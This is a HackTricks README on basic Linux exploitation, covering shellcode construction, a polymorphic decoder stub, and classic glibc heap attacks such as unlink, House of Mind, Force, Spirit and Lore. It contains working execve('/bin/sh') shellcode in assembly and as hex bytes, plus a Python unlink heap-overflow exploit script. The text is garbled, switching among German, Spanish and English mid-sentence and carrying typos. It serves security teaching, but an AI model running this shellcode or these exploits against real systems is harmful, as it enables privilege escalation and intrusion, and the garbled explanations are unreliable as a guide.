hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
2024-04-06 18:30:57 +00:00

34 KiB
Raw Blame History

Linux Exploiting (Basic) (SPA)

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

2.SHELLCODE

Siehe Kernel-Unterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; löschen von eax
xor ebx, ebx ; ebx = 0 da kein Argument übergeben wird
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall ausführen

nasm -f elf assembly.asm —> Gibt uns eine .o-Datei zurück
ld assembly.o -o shellcodeout —> Erzeugt eine ausführbare Datei aus dem Assemblercode, aus der wir die Opcodes mit objdump extrahieren können
objdump -d -Mintel ./shellcodeout —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und um die Opcodes zu extrahieren

Überprüfen Sie, ob der Shellcode funktioniert

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Para confirmar, dass Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in strace ./KOMPILIERTE_PROGRAMM erscheinen.

Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich das EIP im Stack ab. Nach dem Aufruf haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und gleichzeitig den Code weiter ausführen können.

BEISPIEL TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ using Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der dort gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.

Polymorphe Shellcodes

Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein Beispiel für eine Caesar-Verschlüsselung:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Zusätzliche Methoden

Murat-Technik

In Linux werden alle Programme ab 0xbfffffff gemappt.

Durch die Analyse des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, bei dem das Programm in einer Umgebung gestartet wird, in der nur die Shellcode-Variable vorhanden ist. Die Adresse dieser Variable kann dann wie folgt berechnet werden: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_AUSFÜHRBARER_NAME) - strlen(shellcode)

Auf diese Weise kann einfach die Adresse ermittelt werden, an der sich die Umgebungsvariable mit dem Shellcode befindet.

Dies ist möglich, da die Funktion execle eine Umgebung erstellen kann, die nur die gewünschten Umgebungsvariablen enthält.

Format Strings to Buffer Overflows

Das sprintf bewegt einen formatierten String in eine Variable. Daher könnte man die Formatierung eines Strings missbrauchen, um einen Pufferüberlauf in der Variablen zu verursachen, in die der Inhalt kopiert wird.
Beispielsweise schreibt das Payload %.44xAAAA 44B+"AAAA" in die Variable, was einen Pufferüberlauf verursachen kann.

__atexit-Strukturen

{% hint style="danger" %} Heutzutage ist es sehr ungewöhnlich, dies auszunutzen. {% endhint %}

atexit() ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn ein exit() ausgeführt wird oder das main beendet wird.
Wenn Sie die Adresse einer dieser Funktionen so ändern können, dass sie beispielsweise auf einen Shellcode zeigt, können Sie die Kontrolle über den Prozess übernehmen. Dies ist jedoch derzeit komplizierter.
Derzeit sind die Adressen der auszuführenden Funktionen hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind mit XOR verschlüsselt und Verschiebungen mit einem zufälligen Schlüssel. Daher ist dieser Angriffsvektor derzeit auf x86 und x64_86 nicht sehr nützlich.
Die Verschlüsselungsfunktion ist PTR_MANGLE. Andere Architekturen wie m68k, mips32, mips64, aarch64, arm, hppa... implementieren die Verschlüsselungsfunktion nicht, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen über diesen Vektor angreifbar.

setjmp() & longjmp()

{% hint style="danger" %} Heutzutage ist es sehr ungewöhnlich, dies auszunutzen. {% endhint %}

Setjmp() ermöglicht das Speichern des Kontexts (der Register)
longjmp() ermöglicht das Wiederherstellen des Kontexts.
Die gespeicherten Register sind: EBX, ESI, EDI, ESP, EIP, EBP
Das Problem ist, dass EIP und ESP durch die Funktion PTR_MANGLE übergeben werden, sodass die Architektur, die anfällig für diesen Angriff ist, die gleiche ist wie oben.
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, so dass bei einem call ebx, call esi oder call edi innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.

VTable und VPTR in C++

Jede Klasse hat eine Vtable, die ein Array von Zeigern auf Methoden ist.

Jedes Objekt einer Klasse hat einen VPtr, der ein Zeiger auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass bei einer Überschreibung des VPtr dieser geändert werden könnte, um auf eine Dummy-Methode zu zeigen, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.

Präventivmaßnahmen und Umgehungen

Ersetzen von Libsafe

Aktivieren mit: LD_PRELOAD=/lib/libsafe.so.2
oder
“/lib/libsave.so.2” > /etc/ld.so.preload

Einige unsichere Funktionen werden durch sichere Funktionen abgefangen. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD_PRELOAD funktioniert nicht bei SUID-Binärdateien).

ASCII Armored Address Space

Es beinhaltet das Laden von Shared Libraries von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.

ret2plt

Es besteht darin, ein ROP durchzuführen, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird, und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe für GOT+1 durchgeführt und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.

Chroot-Käfige

debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis

Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..

Code-Instrumentierung

Valgrind —> Sucht nach Fehlern
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Grundlegende Exploits

Zugewiesenes Stück

prev_size |
size | —Header
*mem | Daten

Freies Stück

prev_size |
size |
*fd | Ptr vorwärts Chunk
*bk | Ptr rückwärts Chunk —Header
*mem | Daten

Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).

Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.

Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden diese durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.

unlink(){
BK = P->bk; —> Der BK des neuen Chunks ist der, den das zuvor freie Stück hatte
FD = P->fd; —> Der FD des neuen Chunks ist der, den das zuvor freie Stück hatte
FD->bk = BK; —> Der BK des nächsten Chunks zeigt auf den neuen Chunk
BK->fd = FD; —> Der FD des vorherigen Chunks zeigt auf den neuen Chunk
}

Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.

Außerdem schreibt der 4. Satz von unlink() etwas, und der Shellcode muss dafür angepasst werden:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, sodass die erste Anweisung des Shellcodes ein Sprung sein muss, um dies zu überspringen und zu den Nops zu gelangen, die den Rest des Shellcodes ausführen.

Daher wird der Exploit erstellt:

In den Puffer1 wird der Shellcode eingefügt, beginnend mit einem Sprung, damit er zu den Nops oder dem Rest des Shellcodes gelangt.

Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. Stück frei war, tatsächlich auf die modifizierte prev_size verwiesen wird, die angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Dann wird unlink() aufgerufen. Al llamar a unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre

addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno

got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí

payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.

En ese caso:

En el chunck c se pone el shellcode

El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.

Además, se sobreescribe en la cabecera b el size para que valga -4.

Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.

De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.

Técnica de Frontlink

Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().

Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).

Necesita:

Un buffer que pueda desbordarse con la función de entrada de datos

Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior

Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior

Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este

De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.

Vulnerabilidad double free()

Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.

En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.

After free()

Un puntero previamente liberado es usado de nuevo sin control.

8 Heap Overflows: Exploits avanzados

Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().

The house of mind

Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.

Una llamada a free() provoca llamar a public_fREe(mem), este hace:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)

De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)

De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.

Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.

Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]

En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2] En the second chunk and thanks to the first one we overwrite the prev_size with a jump 0x0c and the size with something to trigger -> NON_MAIN_ARENA

Next in chunk 2 we put a lot of nops and finally the shellcode

This way _int_free(CHUNK1, CHUNK2) will be called and will follow the instructions to write in __DTOR_END__ the address of the prev_size of CHUNK2 which will jump to the shellcode.

To apply this technique, some additional requirements need to be met which complicate the payload a bit more.

This technique is no longer applicable as almost the same patch as for unlink was applied. It compares if the new site being pointed to is also pointing back to it.

Fastbin

It is a variant of The house of mind

we are interested in executing the following code which is reached after the first check in the _int_free() function

fb = &(av->fastbins[fastbin_index(size)] —> Being fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

This way, if we put in "fb" the address of a function in the GOT, the address to the overwritten chunk will be placed at this address. For this, it will be necessary for the arena to be close to the dtors addresses. More precisely, av->max_fast must be at the address we are going to overwrite.

Since with The House of Mind it was seen that we controlled the position of av.

So if we put a size of 8 + NON_MAIN_ARENA + PREV_INUSE in the size field -> fastbin_index() will return fastbins[-1], which will point to av->max_fast

In this case, av->max_fast will be the address that is overwritten (not the one it points to, but that position will be overwritten).

It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 8, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops).

Additionally, this same fake chunk must be smaller than av->system_mem. av->system_mem is located 1848 bytes beyond.

Due to the nulls in _DTOR_END_ and the few addresses in the GOT, none of these addresses are suitable to be overwritten, so let's see how to apply fastbin to attack the stack.

Another form of attack is redirecting the av to the stack.

If we modify the size to be 16 instead of 8 then: fastbin_index() will return fastbins[0] and we can use this to overwrite the stack.

For this, there should be no canary or weird values on the stack, in fact, we have to find ourselves in this: 4 null bytes + EBP + RET

The 4 null bytes are needed so that the av will be at this address and the first element of an av is the mutex that must be 0.

The av->max_fast will be the EBP and will be a value that will help us bypass the restrictions.

In av->fastbins[0] will be overwritten with the address of p and it will be the RET, so it will jump to the shellcode.

Also, in av->system_mem (1484 bytes above the stack position) there will be enough garbage that will allow us to bypass the check that is performed.

It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 16, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops that come after the size field of the new fake chunk).

The House of Spirit

In this case, we seek to have a pointer to a malloc that can be altered by the attacker (for example, the pointer is on the stack below a possible overflow to a variable).

Thus, we could make this pointer point wherever. However, not any location is valid, the size of the faked chunk must be smaller than av->max_fast and more specifically equal to the size requested in a future call to malloc()+8. Therefore, if we know that after this vulnerable pointer a malloc(40) is called, the size of the fake chunk must be equal to 48.

For example, if the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could belong to the EBP with luck, so the 48 remains behind, as if it were the size header). Additionally, the address ptr-4+48 must meet several conditions (in this case ptr=EBP), that is, 8 < ptr-4+48 < av->system_mem.

If this is met, when the next malloc call that we said was malloc(40) is made, the address assigned to it will be the address of the EBP. In case the attacker can also control what is written in this malloc, they can overwrite both the EBP and the EIP with the desired address.

I think this is because when it is freed free() will save that at the address pointing to the EBP of the stack there is a chunk of perfect size for the new malloc() that is wanted to reserve, so it assigns that address.

The House of Force

It is necessary:

  • An overflow to a chunk that allows overwriting the wilderness
  • A call to malloc() with the size defined by the user
  • A call to malloc() whose data can be defined by the user

The first thing to do is to overwrite the size of the wilderness chunk with a very large value (0xffffffff), so any sufficiently large memory request will be handled in _int_malloc() without the need to expand the heap.

The second step is to alter av->top to point to a memory area under the attacker's control, such as the stack. In av->top, &EIP - 8 will be placed.

We have to overwrite av->top to point to the memory area under the attacker's control:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim collects the value of the current wilderness chunk address (the current av->top) and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So if &EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we have to reserve in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be:

0xbffff224 - 0x080c2788 = 3086207644.

This way the altered value will be saved in av->top and the next malloc will point to the EIP and it can be overwritten.

It is important to know that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to &EIP-8, the size will be right in the EBP field of the stack.

The House of Lore

SmallBin Corruption

The freed chunks are placed in the bin based on their size. But before being placed, they are stored in unsorted bins. When a chunk is freed, it is not immediately placed in its bin but remains in unsorted bins. Then, if a new chunk is requested and the previously freed one can be used, it is returned, but if a larger one is requested, the freed chunk in unsorted bins is placed in its appropriate bin.

To reach the vulnerable code, the memory request must be greater than av->max_fast (usually 72) and less than MIN_LARGE_SIZE (512). Si in den Bins ein Stück mit der richtigen Größe für die Anforderungen vorhanden ist, wird dieses nach dem Entkoppeln zurückgegeben:

bck = victim->bk; Zeigt auf das vorherige Stück, dies ist die einzige Information, die wir ändern können.

bin->bk = bck; Das vorletzte Stück wird zum letzten, falls bck auf den Stack zum nächsten reservierten Stück zeigt, wird ihm diese Adresse gegeben.

bck->fd = bin; Die Liste wird geschlossen, indem sie auf bin zeigt.

Erforderlich sind:

Zwei malloc-Reservierungen, sodass nach der Freigabe des zweiten ein Überlauf im ersten erfolgen kann (d. h. ein größeres malloc als das zweite Stück reserviert wurde, bevor der Überlauf erfolgt)

Der vom Angreifer gewählte malloc-Speicher muss vom Angreifer kontrolliert werden.

Das Ziel ist folgendes: Wenn wir einen Heap-Überlauf auf einem Heap durchführen können, der ein bereits freigegebenes Stück unter sich hat und in seinem Bin liegt, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieses Stück das erste in der Bin-Liste wird und reserviert wird, wird der Bin getäuscht und ihm wird gesagt, dass das letzte Stück in der Liste (das nächste Angebot) an der falschen Adresse liegt, die wir angegeben haben (zum Beispiel auf den Stack oder GOT). Wenn also ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position gegeben und er kann darauf schreiben.

Nachdem das modifizierte Stück freigegeben wurde, muss ein größeres Stück als das freigegebene reserviert werden, damit das modifizierte Stück aus den unsortierten Bins entfernt und in sein Bin eingefügt wird.

Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf so zu ändern, dass er auf die gewünschte Adresse zeigt.

Der Bin muss warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und den Bin dazu bringt zu glauben, dass das nächste Stück an der falschen Adresse liegt. Anschließend wird das gewünschte Stück gegeben.

Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Stücks, Reservierung des zu modifizierenden Stücks, Freigabe dieses Stücks, Reservierung eines größeren Stücks als das zu modifizierende, Modifizierung des Stücks (Schwachstelle), Reservierung eines Stücks gleicher Größe wie das verwundbare und Reservierung eines zweiten Stücks gleicher Größe, das auf die gewählte Adresse zeigt.

Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass das Stück "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Stücks, das auf dem Stack zeigt, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an die richtige Adresse zu schreiben. Damit es wie ein echtes Stück aussieht.

Korruption LargeBin

Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.

Der Angriff ist wie zuvor, das heißt, der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Stücks so geändert werden, dass size - nb < MINSIZE ist.

Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned-Wert verglichen wird)

Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.

Heap Spraying

Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, auf die Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und auf 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.

Heap Feng Shui

Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Stücke zwischen freien Stücken verbleiben. Der Puffer, der überlaufen werden soll, wird in einem der Lücken platziert.

objdump -d ausführbar —> Disas-Funktionen
objdump -d ./PROGRAMM | grep FUNKTION —> Funktionadresse erhalten
objdump -d -Mintel ./shellcodeout —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und die OpCodes zu extrahieren
objdump -t ./exec | grep varBss —> Symboltabelle, um Adressen von Variablen und Funktionen zu extrahieren
objdump -TR ./exec | grep exit(func lib) —> Um Adressen von Bibliotheksfunktionen (GOT) zu extrahieren
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Extrahiert die Adresse von puts, die in der GOT überschrieben werden soll
objdump -D ./exec —> Disas ALL bis zu den Einträgen der plt
objdump -p -/exec
Info functions strncmp —> Info zur Funktion in gdb

Interessante Kurse

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: